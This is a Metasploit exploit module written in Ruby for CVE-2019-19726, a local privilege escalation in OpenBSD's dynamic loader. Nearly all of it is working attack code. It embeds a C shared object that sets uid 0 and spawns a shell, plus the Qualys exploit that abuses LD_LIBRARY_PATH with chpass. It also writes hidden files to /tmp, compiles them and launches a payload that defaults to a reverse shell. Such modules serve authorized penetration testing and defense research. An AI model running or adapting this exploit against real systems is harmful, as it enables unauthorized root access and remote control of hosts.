OpenBSD Dynamic Loader chpass Privilege Escalation

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Unix
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'OpenBSD Dynamic Loader chpass Privilege Escalation',
        'Description' => %q{
          This module exploits a vulnerability in the OpenBSD `ld.so`
          dynamic loader (CVE-2019-19726).

          The `_dl_getenv()` function fails to reset the `LD_LIBRARY_PATH`
          environment variable when set with approximately `ARG_MAX` colons.

          This can be abused to load `libutil.so` from an untrusted path,
          using `LD_LIBRARY_PATH` in combination with the `chpass` set-uid
          executable, resulting in privileged code execution.

          This module has been tested successfully on:

          OpenBSD 6.1 (amd64); and
          OpenBSD 6.6 (amd64)
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Qualys', # Discovery and exploit
          'bcoles' # Metasploit
        ],
        'DisclosureDate' => '2019-12-11',
        'Platform' => %w[bsd unix], # OpenBSD
        'Arch' => [ARCH_CMD],
        'SessionTypes' => ['shell'],
        'References' => [
          ['CVE', '2019-19726'],
          ['EDB', '47780'],
          ['URL', 'https://blog.qualys.com/laws-of-vulnerabilities/2019/12/11/openbsd-local-privilege-escalation-vulnerability-cve-2019-19726'],
          ['URL', 'https://www.qualys.com/2019/12/11/cve-2019-19726/local-privilege-escalation-openbsd-dynamic-loader.txt'],
          ['URL', 'https://www.openwall.com/lists/oss-security/2019/12/11/9'],
          ['URL', 'https://github.com/bcoles/local-exploits/blob/master/CVE-2019-19726/openbsd-dynamic-loader-chpass'],
          ['URL', 'https://ftp.openbsd.org/pub/OpenBSD/patches/6.6/common/013_ldso.patch.sig']
        ],
        'Targets' => [['Automatic', {}]],
        'DefaultOptions' => {
          'PAYLOAD' => 'cmd/unix/reverse',
          'WfsDelay' => 10
        },
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK]
        }
      )
    )
    register_options([
      OptString.new('CHPASS_PATH', [true, 'Path to chpass', '/usr/bin/chpass'])
    ])
    register_advanced_options([
      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
    ])
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def chpass_path
    datastore['CHPASS_PATH']
  end

  def upload(path, data)
    print_status("Writing '#{path}' (#{data.size} bytes) ...")
    rm_f(path)
    write_file(path, data)
    register_file_for_cleanup(path)
  end

  def libutil_name
    return unless command_exists?('readelf')

    cmd_exec('readelf -a /usr/sbin/pwd_mkdb').to_s.scan(/\[(libutil\.so\.[\d.]+)\]/).flatten.first
  end

  def check
    patches = cmd_exec('syspatch -l').to_s
    patch = '013_ldso'

    return CheckCode::Safe("Patch #{patch} has been installed. Target is not vulnerable.") if patches.include?(patch)

    return CheckCode::Safe("Patch #{patch} is not present, but cc compiler is not installed.") unless command_exists?('cc')

    vprint_good('cc is installed')

    CheckCode::Detected("Patch #{patch} is not present")
  end

  def exploit
    if !datastore['ForceExploit'] && is_root?
      fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
    end

    unless writable?(base_dir)
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    # Qualys set-uid shared object from https://www.openwall.com/lists/oss-security/2019/12/11/9
    lib_data = <<~EOF
      #include <paths.h>
      #include <unistd.h>

      static void __attribute__ ((constructor)) _init (void) {
          if (setuid(0) != 0) _exit(__LINE__);
          if (setgid(0) != 0) _exit(__LINE__);
          char * const argv[] = { _PATH_KSHELL, "-c", _PATH_KSHELL "; exit 1", NULL };
          execve(argv[0], argv, NULL);
          _exit(__LINE__);
      }
    EOF

    libs = []
    lib = libutil_name
    if lib
      libs << lib
      print_good("Found libutil.so name: #{lib}")
    else
      libs << 'libutil.so.12.1'
      libs << 'libutil.so.13.1'
      print_warning("Could not determine libutil.so name. Using: #{libs.join(', ')}")
    end

    lib_src_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}.c"
    upload lib_src_path, lib_data
    libs.each do |lib_name|
      lib_path = "#{base_dir}/#{lib_name}"
      print_status("Compiling #{lib_path} ...")
      output = cmd_exec("cc -fpic -shared -s -o #{lib_path} #{lib_src_path} -Wall")
      register_file_for_cleanup(lib_path)

      unless output.blank?
        print_error(output)
        fail_with(Failure::Unknown, "#{lib_path}.c failed to compile")
      end
    end

    # Qualys exploit from https://www.openwall.com/lists/oss-security/2019/12/11/9
    exploit_data = <<~EOF
      #include <string.h>
      #include <sys/param.h>
      #include <sys/resource.h>
      #include <unistd.h>

      int
      main(int argc, char * const * argv)
      {
          #define LLP "LD_LIBRARY_PATH=."
          static char llp[ARG_MAX - 128];
          memset(llp, ':', sizeof(llp)-1);
          memcpy(llp, LLP, sizeof(LLP)-1);
          char * const envp[] = { llp, "EDITOR=echo '#' >>", NULL };

          #define DATA (ARG_MAX * sizeof(char *))
          const struct rlimit data = { DATA, DATA };
          if (setrlimit(RLIMIT_DATA, &data) != 0) _exit(__LINE__);

          if (argc <= 1) _exit(__LINE__);
          argv += 1;
          execve(argv[0], argv, envp);
          _exit(__LINE__);
      }
    EOF

    exploit_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
    upload("#{exploit_path}.c", exploit_data)
    print_status("Compiling #{exploit_path} ...")
    output = cmd_exec("cc -s #{exploit_path}.c -o #{exploit_path} -Wall")
    register_file_for_cleanup(exploit_path)

    unless output.blank?
      print_error(output)
      fail_with(Failure::Unknown, "#{exploit_path}.c failed to compile")
    end

    payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
    upload(payload_path, "#!/bin/sh\n#{payload.encoded}\n")
    chmod(payload_path)

    print_status('Launching exploit...')
    output = cmd_exec("cd #{base_dir};echo '#{payload_path}&exit'|#{exploit_path} #{chpass_path}")
    output.each_line { |line| vprint_status line.chomp }
  end
end